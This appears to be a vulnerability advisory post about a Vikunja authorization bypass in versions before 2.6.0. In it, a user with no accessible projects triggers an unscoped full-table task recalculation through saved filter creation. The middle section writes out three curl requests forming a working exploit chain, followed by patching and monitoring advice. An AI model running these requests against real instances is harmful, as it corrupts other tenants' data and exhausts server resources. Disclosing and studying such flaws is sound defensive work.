Listen to this Post
Vikunja handles task ordering and kanban organization through a shared task_positions table that maps tasks to project views using composite identifiers. When a user creates a new saved filter, the application automatically provisions default project views and triggers a background task position recalculation routine. Under normal operating conditions, this recalculation process queries tasks belonging strictly to projects the user is authorized to view. However, a critical logic flaw occurs when an authenticated user has zero accessible projects in their current scope. By manipulating the user settings general endpoint, an attacker can overwrite their default project identifier without proper server-side validation. The attacker can subsequently delete their personal inbox project, leaving their user account with zero accessible projects entirely. When this zero-project state is achieved, the task position recalculation routine fails open during saved filter creation. Instead of aborting due to a lack of valid project read permissions, the project scope defaults to zero. The underlying search query builder then silently drops all project constraints because the criteria evaluates as invalid conditions. Consequently, the database query executes a full-table scan without any WHERE clause, retrieving every single task instance across the entire multi-tenant system. The server then blindly writes these unauthorized task references into the attacker-controlled filter views, resulting in cross-tenant data integrity violations and massive write amplification.
DailyCVE Form:
Platform: Vikunja
Version: <2.6.0
Vulnerability: Bypass
Severity: Medium
Date: Sep 2026
Prediction: Patched
What Undercode Say
Point default project ID to target or arbitrary ID via API
curl -X PUT http://localhost:3456/api/v2/user/settings/general \
-H "Authorization: Bearer <ATTACKER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"default_project_id": 999}'
Delete personal inbox to achieve zero accessible projects state
curl -X DELETE http://localhost:3456/api/v2/projects/1 \
-H "Authorization: Bearer <ATTACKER_TOKEN>"
Create saved filter with empty filter string to trigger unconstrained recalculation
curl -X PUT http://localhost:3456/api/v2/filters \
-H "Authorization: Bearer <ATTACKER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"":"ExploitFilter","filters":{"filter":"","filter_include_nulls":true}}'
Exploit: (Educational Purposes!)
The exploitation sequence begins when an authenticated attacker targets the general user settings endpoint via a PUT request to override their default project ID without ownership validation. Next, the attacker deletes their personal Inbox project, which is successfully unblocked once it is no longer designated as the default project. This leaves the account in a state with zero accessible projects. When the attacker subsequently creates a saved filter via the API, the backend initializes default views and executes task position recalculation. Because project scoping resolves to zero and filter criteria remain empty, the underlying database query builder omits all WHERE clauses. This results in a full-table scan that retrieves every task in the instance and bulk-inserts cross-tenant task references into the attacker’s views.
Protection: from this CVE
Administrators must immediately upgrade Vikunja instances to version 2.6.0 or higher, where proper project read-access validations and authorization controls are strictly enforced during task position recalculations and saved filter creation. Additionally, user settings endpoints must validate that referenced default projects belong to the requesting user prior to persisting changes. Monitoring database write volumes and auditing abnormal spikes in task position table growth can assist in detecting exploitation attempts.
Impact:
The impact of this vulnerability involves severe cross-tenant data integrity violations and write amplification denial-of-service risks. Although direct task content disclosure is blocked by standard read paths, an authenticated attacker can force the database to persist foreign task references into their own control views. Furthermore, the recalculation routine executes a full-table scan and writes four times the total instance task count per request. On large instances containing hundreds of thousands of tasks, a single low-privilege request generates massive unconstrained database writes, exhausting CPU, I/O, and storage resources.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

